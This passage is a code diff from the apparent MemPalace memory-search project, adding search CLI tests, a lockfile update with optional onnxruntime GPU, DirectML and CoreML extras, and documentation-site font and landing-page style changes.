first_block, _, _ = captured.out.partition("[2]")
|
||||
# Lexical match must rank first
|
||||
assert (
|
||||
"b.md" in first_block
|
||||
), f"expected lexical match 'b.md' at rank 1, got:\n{captured.out}"
|
||||
# Non-zero bm25 reported
|
||||
assert "bm25=" in first_block
|
||||
assert "bm25=0.0" not in first_block
|
||||
# Cosine still reported for transparency
|
||||
assert "cosine=" in first_block
|
||||
|
||||
def test_search_warns_when_palace_uses_wrong_distance_metric(self, capsys):
|
||||
"""Legacy palaces created without `hnsw:space=cosine` silently
|
||||
use L2, which breaks similarity interpretation. CLI must warn
|
||||
the user and point them at `mempalace repair` rather than
|
||||
pretending the `Match` scores are meaningful."""
|
||||
mock_col = MagicMock()
|
||||
mock_col.metadata = {} # legacy: no hnsw:space set
|
||||
mock_col.query.return_value = {
|
||||
"documents": [["some drawer content"]],
|
||||
"metadatas": [[{"source_file": "a.md", "wing": "w", "room": "r"}]],
|
||||
"distances": [[1.2]],
|
||||
}
|
||||
with patch("mempalace.searcher.get_collection", return_value=mock_col):
|
||||
search("anything", "/fake/path")
|
||||
captured = capsys.readouterr()
|
||||
assert "mempalace repair" in captured.err
|
||||
assert "cosine" in captured.err.lower()
|
||||
|
||||
def test_search_does_not_warn_when_palace_is_correctly_configured(self, capsys):
|
||||
mock_col = MagicMock()
|
||||
mock_col.metadata = {"hnsw:space": "cosine"}
|
||||
mock_col.query.return_value = {
|
||||
"documents": [["some drawer content"]],
|
||||
"metadatas": [[{"source_file": "a.md", "wing": "w", "room": "r"}]],
|
||||
"distances": [[0.3]],
|
||||
}
|
||||
with patch("mempalace.searcher.get_collection", return_value=mock_col):
|
||||
search("anything", "/fake/path")
|
||||
captured = capsys.readouterr()
|
||||
assert "mempalace repair" not in captured.err
|
||||
|
||||
def test_search_handles_none_metadata_without_crash(self, palace_path, capsys):
|
||||
"""ChromaDB can return `None` entries in the metadatas list when a
|
||||
drawer has no metadata. The CLI print path must not crash on them
|
||||
@@ -191,3 +308,17 @@ class TestSearchCLI:
|
||||
assert "[2]" in captured.out
|
||||
# Second result renders with fallback '?' values instead of crashing
|
||||
assert "second doc" in captured.out
|
||||
|
||||
def test_search_handles_none_document_without_crash(self, capsys):
|
||||
mock_col = MagicMock()
|
||||
mock_col.metadata = {"hnsw:space": "cosine"}
|
||||
mock_col.query.return_value = {
|
||||
"documents": [["first doc", None]],
|
||||
"metadatas": [[{"source_file": "a.md", "wing": "w", "room": "r"}, None]],
|
||||
"distances": [[0.1, 0.2]],
|
||||
}
|
||||
with patch("mempalace.searcher.get_collection", return_value=mock_col):
|
||||
search("anything", "/fake/path")
|
||||
captured = capsys.readouterr()
|
||||
assert "[1]" in captured.out
|
||||
assert "[2]" in captured.out
|
||||
|
||||
@@ -1169,14 +1169,20 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "mempalace"
|
||||
version = "3.3.2"
|
||||
version = "3.3.4"
|
||||
source = { editable = "." }
|
||||
dependencies = [
|
||||
{ name = "chromadb" },
|
||||
{ name = "pyyaml" },
|
||||
{ name = "tomli", marker = "python_full_version < '3.11'" },
|
||||
]
|
||||
|
||||
[package.optional-dependencies]
|
||||
coreml = [
|
||||
{ name = "onnxruntime", version = "1.20.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.10'" },
|
||||
{ name = "onnxruntime", version = "1.24.3", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version == '3.10.*'" },
|
||||
{ name = "onnxruntime", version = "1.24.4", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
|
||||
]
|
||||
dev = [
|
||||
{ name = "psutil" },
|
||||
{ name = "pytest", version = "8.4.2", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.10'" },
|
||||
@@ -1184,6 +1190,16 @@ dev = [
|
||||
{ name = "pytest-cov" },
|
||||
{ name = "ruff" },
|
||||
]
|
||||
dml = [
|
||||
{ name = "onnxruntime-directml", version = "1.20.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.10'" },
|
||||
{ name = "onnxruntime-directml", version = "1.24.3", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version == '3.10.*'" },
|
||||
{ name = "onnxruntime-directml", version = "1.24.4", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
|
||||
]
|
||||
gpu = [
|
||||
{ name = "onnxruntime-gpu", version = "1.20.2", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.10'" },
|
||||
{ name = "onnxruntime-gpu", version = "1.24.3", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version == '3.10.*'" },
|
||||
{ name = "onnxruntime-gpu", version = "1.25.0", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
|
||||
]
|
||||
spellcheck = [
|
||||
{ name = "autocorrect" },
|
||||
]
|
||||
@@ -1201,13 +1217,17 @@ dev = [
|
||||
requires-dist = [
|
||||
{ name = "autocorrect", marker = "extra == 'spellcheck'", specifier = ">=2.0" },
|
||||
{ name = "chromadb", specifier = ">=1.5.4,<2" },
|
||||
{ name = "onnxruntime", marker = "extra == 'coreml'", specifier = ">=1.16" },
|
||||
{ name = "onnxruntime-directml", marker = "extra == 'dml'", specifier = ">=1.16" },
|
||||
{ name = "onnxruntime-gpu", marker = "extra == 'gpu'", specifier = ">=1.16" },
|
||||
{ name = "psutil", marker = "extra == 'dev'", specifier = ">=5.9" },
|
||||
{ name = "pytest", marker = "extra == 'dev'", specifier = ">=7.0" },
|
||||
{ name = "pytest-cov", marker = "extra == 'dev'", specifier = ">=4.0" },
|
||||
{ name = "pyyaml", specifier = ">=6.0,<7" },
|
||||
{ name = "ruff", marker = "extra == 'dev'", specifier = ">=0.4.0" },
|
||||
{ name = "tomli", marker = "python_full_version < '3.11'", specifier = ">=2.0.0" },
|
||||
]
|
||||
provides-extras = ["dev", "spellcheck"]
|
||||
provides-extras = ["dev", "spellcheck", "gpu", "dml", "coreml"]
|
||||
|
||||
[package.metadata.requires-dev]
|
||||
dev = [
|
||||
@@ -1813,6 +1833,154 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/6c/1d/1666dc64e78d8587d168fec4e3b7922b92eb286a2ddeebcf6acb55c7dc82/onnxruntime-1.24.4-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e1cc6a518255f012134bc791975a6294806be9a3b20c4a54cca25194c90cf731", size = 17247021, upload-time = "2026-03-17T22:04:52.377Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "onnxruntime-directml"
|
||||
version = "1.20.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
resolution-markers = [
|
||||
"python_full_version < '3.10'",
|
||||
]
|
||||
dependencies = [
|
||||
{ name = "coloredlogs", marker = "python_full_version < '3.10'" },
|
||||
{ name = "flatbuffers", marker = "python_full_version < '3.10'" },
|
||||
{ name = "numpy", version = "2.0.2", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.10'" },
|
||||
{ name = "packaging", marker = "python_full_version < '3.10'" },
|
||||
{ name = "protobuf", marker = "python_full_version < '3.10'" },
|
||||
{ name = "sympy", marker = "python_full_version < '3.10'" },
|
||||
]
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/3c/4f/f433239b05304aa9af0217da20508abbbcec1dcd58ee821e3dab8939ecfe/onnxruntime_directml-1.20.1-cp310-cp310-win_amd64.whl", hash = "sha256:d4aa43694799559fb5570fdf0e96a154d4b4d0bb9b73c3e81744eb7fe0c0de8d", size = 22760521, upload-time = "2024-11-21T00:49:40.179Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/df/5f/16337318bd99d2d837cbb2e91e8a12b0915cb80d7c1ae8f80ca2f5d47a09/onnxruntime_directml-1.20.1-cp311-cp311-win_amd64.whl", hash = "sha256:c7861057ad4caa64186c910efb3b54c1f575cd0e64732509c9bd927d2d20187b", size = 22762384, upload-time = "2024-11-21T00:49:44.01Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8f/50/4599c6573bd71cc0c80820c63dea599a0b489ce874f93a5e021ca20a9e1f/onnxruntime_directml-1.20.1-cp312-cp312-win_amd64.whl", hash = "sha256:4b9a9f8349d68eef947fc692b3572e7a6490cb95effb151ace1a6ffc15884940", size = 22764330, upload-time = "2024-11-21T00:49:47.264Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/60/40/7d8489d9101b4aa7bae29227075ce31bc5764cbe87b78c995fdb296e3eff/onnxruntime_directml-1.20.1-cp313-cp313-win_amd64.whl", hash = "sha256:86a8c4b69e377bb18ed2a18aaf2337baa83a57ff87a97224d027e546dfa99fde", size = 22764517, upload-time = "2024-11-21T00:49:50.213Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "onnxruntime-directml"
|
||||
version = "1.24.3"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
resolution-markers = [
|
||||
"python_full_version == '3.10.*'",
|
||||
]
|
||||
dependencies = [
|
||||
{ name = "flatbuffers", marker = "python_full_version == '3.10.*'" },
|
||||
{ name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version == '3.10.*'" },
|
||||
{ name = "packaging", marker = "python_full_version == '3.10.*'" },
|
||||
{ name = "protobuf", marker = "python_full_version == '3.10.*'" },
|
||||
{ name = "sympy", marker = "python_full_version == '3.10.*'" },
|
||||
]
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/ed/65/36ce5a5e79fb5d7b4d7636bc6e6c4024f3ff0571789e8eedb7149bb7c538/onnxruntime_directml-1.24.3-cp311-cp311-win_amd64.whl", hash = "sha256:442fecea5d52df315b6cecfbcbb44aff6681880b6bbf23546a6c00125fec66f1", size = 25106769, upload-time = "2026-03-05T16:27:07.495Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/05/40/c948c0ee42b7b6297dd45956092f5a53a6954610c3911a5847c7555b4930/onnxruntime_directml-1.24.3-cp312-cp312-win_amd64.whl", hash = "sha256:d889010e6ed2f30026522308173d295bcfdaf6f28d1df6054c748ffa750a7ad5", size = 25114531, upload-time = "2026-03-05T16:27:11.256Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/56/f0/9de329f39a66142aab4c1d9a48edc0e432de27c6ba09e8039e0dc51885e7/onnxruntime_directml-1.24.3-cp313-cp313-win_amd64.whl", hash = "sha256:f684adcb29dd48ee172b52fcf1d19a1da1a67a051384ac3418b36d200d0d105c", size = 25114902, upload-time = "2026-03-05T16:27:13.925Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/fe/7a/8b3014ca4065a32bd6672221bf4cb0b5b9a726d28a9caafdb86a076a5981/onnxruntime_directml-1.24.3-cp314-cp314-win_amd64.whl", hash = "sha256:42b17de7030445e75a7e83a4a317f9c655ed2dd7045fe79a7a21dce7b60103b6", size = 25570589, upload-time = "2026-03-05T16:27:17.278Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "onnxruntime-directml"
|
||||
version = "1.24.4"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
resolution-markers = [
|
||||
"python_full_version >= '3.14'",
|
||||
"python_full_version == '3.13.*'",
|
||||
"python_full_version >= '3.11' and python_full_version < '3.13'",
|
||||
]
|
||||
dependencies = [
|
||||
{ name = "flatbuffers", marker = "python_full_version >= '3.11'" },
|
||||
{ name = "numpy", version = "2.4.4", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
|
||||
{ name = "packaging", marker = "python_full_version >= '3.11'" },
|
||||
{ name = "protobuf", marker = "python_full_version >= '3.11'" },
|
||||
{ name = "sympy", marker = "python_full_version >= '3.11'" },
|
||||
]
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/be/90/99566dc6398028e7691a5b12720fd85f757a0901818b84599d28abb3f085/onnxruntime_directml-1.24.4-cp311-cp311-win_amd64.whl", hash = "sha256:96642a787e5a6f33bf043521c0f06eb1eb663f6b830e5862a2026d03f9c90543", size = 25106000, upload-time = "2026-03-17T21:47:15.438Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/88/ea/33814eb0ec96775eda4c1d30b0d86e91d7d2cd0d84c66d3915aef0e06fa3/onnxruntime_directml-1.24.4-cp312-cp312-win_amd64.whl", hash = "sha256:f2ecb68b7b7b259d2ef3112ae760149f9b5a1e7c0fbb73d539da6250a648a614", size = 25111930, upload-time = "2026-03-17T21:47:18.419Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/60/53/2bd2696fac19cf8ca55496a0bcfe431f3aff9579eabbb0e231dc238acf6f/onnxruntime_directml-1.24.4-cp313-cp313-win_amd64.whl", hash = "sha256:2f1031cb2281e5b27cca9efe0b9399317c7286e4d226f7a79d4ab79bbd94d19e", size = 25112253, upload-time = "2026-03-17T21:47:22.043Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b7/04/816932a3ade867a687e406716ca76e0774c6b921545b45818e3ebfcc54ce/onnxruntime_directml-1.24.4-cp314-cp314-win_amd64.whl", hash = "sha256:51d86bb949488e572b00422f344990a4a81d982416d73b6c0e4ced2bcd423d19", size = 25571098, upload-time = "2026-03-17T21:47:25.461Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "onnxruntime-gpu"
|
||||
version = "1.20.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
resolution-markers = [
|
||||
"python_full_version < '3.10'",
|
||||
]
|
||||
dependencies = [
|
||||
{ name = "coloredlogs", marker = "python_full_version < '3.10'" },
|
||||
{ name = "flatbuffers", marker = "python_full_version < '3.10'" },
|
||||
{ name = "numpy", version = "2.0.2", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.10'" },
|
||||
{ name = "packaging", marker = "python_full_version < '3.10'" },
|
||||
{ name = "protobuf", marker = "python_full_version < '3.10'" },
|
||||
{ name = "sympy", marker = "python_full_version < '3.10'" },
|
||||
]
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/04/ad/4e5534dcaafe36f596792ebd0049177f7f0b7afa0f696505974ed1d6f72c/onnxruntime_gpu-1.20.2-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dfba508f110ec062dedfd3032e6eee8cde325026e9d7c5792884e8b9d4ebb9c3", size = 291522233, upload-time = "2025-03-07T05:46:08.901Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a5/2a/8afc5aee996fd33fb816bc3067fdbde96a2a7520d4c275fa502f3aef7e54/onnxruntime_gpu-1.20.2-cp310-cp310-win_amd64.whl", hash = "sha256:75a7557292b2741e63fb73236ee84faa08075cead52d9a8d302a67036fc64f16", size = 279696089, upload-time = "2025-03-07T05:39:24.924Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5e/53/9341b875b0ed29953485b43713e94b335a449c3770fed67dddb3c9b84af0/onnxruntime_gpu-1.20.2-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:85057c7006457bee14fc2a57417b7e4f396f10d9c1b08b11aae08ac2b825eeda", size = 291518407, upload-time = "2025-03-07T05:46:22.943Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0b/7a/0999993ceae7bf191d5d63a4e1b2208596763d8e586aa7dc5cc091f960c0/onnxruntime_gpu-1.20.2-cp311-cp311-win_amd64.whl", hash = "sha256:d0eafd873e4336949c89e6c7429a68e7e1d0233d9cb363e9780ca76c3c6f865c", size = 279697437, upload-time = "2025-03-07T05:39:38.418Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5b/db/c1fcdf45cad147d3b3609cf66a1c6083b54382f58a41d7fc526cd5909090/onnxruntime_gpu-1.20.2-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aa66d2e6de13fe6f4d1554b1c219bd2e4778b540ed9d3dc62957c95a8af43d66", size = 291510804, upload-time = "2025-03-07T05:46:36.178Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/27/67/4f979650557738a8b148dd7e0b82522d20ffcfb2c3964141c861a61e82c7/onnxruntime_gpu-1.20.2-cp312-cp312-win_amd64.whl", hash = "sha256:564a6a1187b208012f57c3bb3723ba65f6bc5cddff6e6b917ac96865768b39f5", size = 279699596, upload-time = "2025-03-07T05:39:50.858Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/48/a4/60f0cf16b24f05d123f90525408a705741fa92e0c38ab122cdf1d239e3fe/onnxruntime_gpu-1.20.2-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6af5b30b9b0e729d3ca1dfff493a39771f143cfc22af1d77d487022033cae284", size = 291511859, upload-time = "2025-03-07T05:46:49.302Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ab/a2/0eb7a3fa417adc7af0be73b0ea35f1f0d6f92e3722eb6468e36dfe2e762d/onnxruntime_gpu-1.20.2-cp313-cp313-win_amd64.whl", hash = "sha256:6ffe5108d2dbd96a9a40bf76573219e04b67d0330aa93ca5114f1478185ade19", size = 279697061, upload-time = "2025-03-07T05:40:03.559Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4e/de/6c692ac8604a451011a2a01e35e94f84bea8775ef97f6830985bbe8de172/onnxruntime_gpu-1.20.2-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:407e5b7a21d656aac6f994d2e329f5577eb3d7f98b63aa1e49e71a702ffa1da1", size = 291502464, upload-time = "2025-03-07T05:47:03.191Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "onnxruntime-gpu"
|
||||
version = "1.24.3"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
resolution-markers = [
|
||||
"python_full_version == '3.10.*'",
|
||||
]
|
||||
dependencies = [
|
||||
{ name = "flatbuffers", marker = "python_full_version == '3.10.*'" },
|
||||
{ name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version == '3.10.*'" },
|
||||
{ name = "packaging", marker = "python_full_version == '3.10.*'" },
|
||||
{ name = "protobuf", marker = "python_full_version == '3.10.*'" },
|
||||
{ name = "sympy", marker = "python_full_version == '3.10.*'" },
|
||||
]
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/28/f4/c8050f3f4916ab6c75432724f0ba51c1548dc1c3d66d40c0f8a9611e370f/onnxruntime_gpu-1.24.3-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ac922633819e1cdc81c9b3a28b5e37d788805307bbaa708a01a3d7150e345625", size = 252750845, upload-time = "2026-03-05T16:35:33.604Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/07/b7/81e8936354651915192a362a1718253c6d03da6b902a95237aa392b1d260/onnxruntime_gpu-1.24.3-cp311-cp311-win_amd64.whl", hash = "sha256:0fe6ece3042db149f36f4991cbebd19a690b7ffd82af89450a261b47f4704a37", size = 207192429, upload-time = "2026-03-05T16:39:57.015Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/24/fa/58ceca812214c9c1a286407c376e42e0b7de3e2c6e14b61cdf3caf6d6d9c/onnxruntime_gpu-1.24.3-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:537bdd6d95006a9200ae81f2e73ba9e621e723fdf0deb5901e2e62fb2cccf876", size = 252756089, upload-time = "2026-03-05T16:35:46.004Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3c/07/2f36920b513bd8939e25591153e37d9cfda94115bd119f2874da0750fce2/onnxruntime_gpu-1.24.3-cp312-cp312-win_amd64.whl", hash = "sha256:d72065b3ab5fdaef74d8b6b8f39b7ce20d89731610e3e63cb40e997d3dce177e", size = 207197001, upload-time = "2026-03-05T16:40:05.691Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/49/57/9e6206dac76e08f028d2ae95f2ab1b3a7c3317fb6c0374a530aad48dab5c/onnxruntime_gpu-1.24.3-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3242a70010934e5bb0aeaa9dde4c25c6c2da577b55c6308c0caa828ba3b7be23", size = 252753349, upload-time = "2026-03-05T16:35:58.09Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4e/ae/f0be395602c13a3a8d22fa6632133550a64536c58bc3623abbba5d0a575e/onnxruntime_gpu-1.24.3-cp313-cp313-win_amd64.whl", hash = "sha256:a423b164dbc26cb7f8736367b11698c2a7294748d3c144c39542ecac28d225c9", size = 207197331, upload-time = "2026-03-05T16:40:14.944Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b4/af/a64c9789769d8d7fabc6d35dcce2f2897b2d9e0fe113044efc2903f7cd07/onnxruntime_gpu-1.24.3-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9696d54974a1313ef0d87f4cbd04f9abfd13839194638d52bb5967a15615341d", size = 252762923, upload-time = "2026-03-05T16:36:10.043Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c1/bb/1cf7dffac2fb01e8de9f0882438165f7543f0aab57f86d1f587e6faa8528/onnxruntime_gpu-1.24.3-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b8ca744f40b33380bc9136988213e574c927d2b919ed42149977e006b138f74f", size = 252754914, upload-time = "2026-03-05T16:36:30.739Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/cf/39/3949d56103bd9cd9381de59b060f9bce8dc2c7363f465bf207ebd0c7a5d0/onnxruntime_gpu-1.24.3-cp314-cp314-win_amd64.whl", hash = "sha256:c60c44e2b388720e6670a948b52626f3d089e960ef7da66e4fa6b2b33a11116f", size = 209599131, upload-time = "2026-03-05T16:40:24.074Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f3/60/51bfbcf2d0540dbfa426a73a9b80046b71a63de7303d16c0f2682c8edfd2/onnxruntime_gpu-1.24.3-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:29048407a2398361d93de5537c2d2079d79d720337a0743d4a2cc28db981e776", size = 252764115, upload-time = "2026-03-05T16:36:44.681Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "onnxruntime-gpu"
|
||||
version = "1.25.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
resolution-markers = [
|
||||
"python_full_version >= '3.14'",
|
||||
"python_full_version == '3.13.*'",
|
||||
"python_full_version >= '3.11' and python_full_version < '3.13'",
|
||||
]
|
||||
dependencies = [
|
||||
{ name = "flatbuffers", marker = "python_full_version >= '3.11'" },
|
||||
{ name = "numpy", version = "2.4.4", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
|
||||
{ name = "packaging", marker = "python_full_version >= '3.11'" },
|
||||
{ name = "protobuf", marker = "python_full_version >= '3.11'" },
|
||||
]
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/2d/7e/f58f8fc505a876b31fd2a34c1eb8f9863b75bf1589c3297c8efd48b93151/onnxruntime_gpu-1.25.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e8625bb31ee2d88524414e7458cc604f4f958f323ef8832cc00882f6cd42b9a1", size = 270337732, upload-time = "2026-04-22T17:27:59.993Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/55/5d/2561b3aa667d87a4ae9cd01c5a565955aab5a3d44a6076f723beb9cdde0a/onnxruntime_gpu-1.25.0-cp311-cp311-win_amd64.whl", hash = "sha256:2e702159a025aa5c69f0b747adf9a451e0c9e4b20120163a918c8459d3171b87", size = 220845585, upload-time = "2026-04-22T17:20:38.939Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/1d/6d/2c13d3eff74caa9e59820a044a75becd34e9cbeeaf7617ad7679cdb1fdb7/onnxruntime_gpu-1.25.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2f0c36c63c8b0eb4091f2567067f480f66f0aedc189eb009545c98ce7e919056", size = 270342429, upload-time = "2026-04-22T17:28:10.526Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8c/2e/9fc303ae59d4caeb85ec3cea6881b7de8ca1d2a07140fade39913cd7ff10/onnxruntime_gpu-1.25.0-cp312-cp312-win_amd64.whl", hash = "sha256:61178cc4d84f59861714554531e01cccbd33ddf13cc0e87a3adea13b24d297ce", size = 220847708, upload-time = "2026-04-22T17:20:47.993Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f5/15/e63fe7b1abad6884bed07e9bb333e9f0ea48fbb8cbc1ea4a67ee6019d5d0/onnxruntime_gpu-1.25.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e462eb13ee9955117baec4f518916c1e7cb1a96001114105632bc6d454c6aee6", size = 270342324, upload-time = "2026-04-22T17:28:21.142Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/21/10/b3533243d062b589d4b1f3ae26584af332c5cde618e7f6f5ff6fabbfd5f2/onnxruntime_gpu-1.25.0-cp313-cp313-win_amd64.whl", hash = "sha256:9a3682158e5e911385252eb95d6332b6f525972746c582e10f8a78213b39e624", size = 220848188, upload-time = "2026-04-22T17:20:56.946Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/35/6c/d7706dd1d0eaafdba44d5c89f8d952de41e425a1b0cbd3ecfa60f918c249/onnxruntime_gpu-1.25.0-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8514b92c5929c953850090d823d018770cba2a971efab5f8f69a3c4280cdc632", size = 270364210, upload-time = "2026-04-22T17:28:33.568Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/37/01/9f1b16ea857e3a4b5e82a2d70b52ea46a0083569f737d840f74a1b86818f/onnxruntime_gpu-1.25.0-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ffe9df4016b061ec3a5565a4fc08cdb86808cd8b9c255c42301066c0c24a81b5", size = 270345126, upload-time = "2026-04-22T17:28:44.416Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/56/c8/aae22f3c9cea9160d8d969734a1927720fcb4d4ad4abe269c407c1d2b63c/onnxruntime_gpu-1.25.0-cp314-cp314-win_amd64.whl", hash = "sha256:2173b71631208177fe704ce2d92eac3acbf758285327247ea40a31a9f0bcc073", size = 223385369, upload-time = "2026-04-22T17:21:06.026Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ed/0a/79fba6a1a32803a2bf8b99187e0ea5d5d69ffe0c5c0f469bde232ceb8327/onnxruntime_gpu-1.25.0-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8576c721c600cc669717a2ae49af30fdfff230480099653adc7b79d58a240852", size = 270364130, upload-time = "2026-04-22T17:28:54.708Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "opentelemetry-api"
|
||||
version = "1.40.0"
|
||||
|
||||
@@ -21,9 +21,11 @@ export default withMermaid(
|
||||
|
||||
head: [
|
||||
['link', { rel: 'icon', href: `${docsBase}mempalace_logo.png` }],
|
||||
['link', { rel: 'preconnect', href: 'https://api.fontshare.com' }],
|
||||
['link', { href: 'https://api.fontshare.com/v2/css?f[]=neue-machina@300,400,500,700,800&f[]=satoshi@300,400,500,700&display=swap', rel: 'stylesheet' }],
|
||||
['link', { rel: 'preconnect', href: 'https://fonts.googleapis.com' }],
|
||||
['link', { rel: 'preconnect', href: 'https://fonts.gstatic.com', crossorigin: '' }],
|
||||
['link', { href: 'https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=JetBrains+Mono:wght@300;400;500&family=Cormorant+Garamond:ital,wght@0,300;0,400;0,500;0,600;0,700;1,300;1,400&family=Geist:wght@300;400;500;600&display=swap', rel: 'stylesheet' }],
|
||||
['link', { href: 'https://fonts.googleapis.com/css2?family=Onest:wght@300;400;500;600&family=JetBrains+Mono:wght@400;500&display=swap', rel: 'stylesheet' }],
|
||||
['meta', { property: 'og:title', content: 'MemPalace — AI Memory System' }],
|
||||
['meta', { property: 'og:description', content: '96.6% LongMemEval recall. Zero API calls. Local, free, open source.' }],
|
||||
['meta', { property: 'og:image', content: `${docsBase}mempalace_logo.png` }],
|
||||
|
||||
@@ -5,13 +5,12 @@
|
||||
<div class="hero-inner">
|
||||
<div class="hero-copy">
|
||||
<h1 class="display">
|
||||
<span class="line">Memory is</span>
|
||||
<span class="line line-2">identity.</span>
|
||||
<span class="line">Memory <em class="is-accent">is</em></span>
|
||||
<span class="line line-2"><span class="identity-white">identity.</span></span>
|
||||
</h1>
|
||||
<p class="lede">
|
||||
An AI that forgets cannot know you. MemPalace keeps every word you have
|
||||
shared — verbatim, on your machine, permanent. Designed for total
|
||||
recall.
|
||||
Every conversation, every idea, every small decision… held somewhere safe.
|
||||
<br><br>Welcome to the future of memory: <span class="mp-blue">MemPalace</span>
|
||||
</p>
|
||||
<form class="waitlist waitlist-hero" data-source="hero" novalidate>
|
||||
<div class="waitlist-head">
|
||||
|
||||
@@ -24,23 +24,23 @@ body.mempalace-active .VPDoc {
|
||||
body.mempalace-active { overflow-x: hidden; }
|
||||
|
||||
.mempalace-landing {
|
||||
--void: #05070A;
|
||||
--obsidian: #0A0D12;
|
||||
--obsidian-2: #11151C;
|
||||
--ink: #181D26;
|
||||
--hair: rgba(158, 216, 255, 0.14);
|
||||
--hair-strong: rgba(158, 216, 255, 0.28);
|
||||
--ice: #EAF4FF;
|
||||
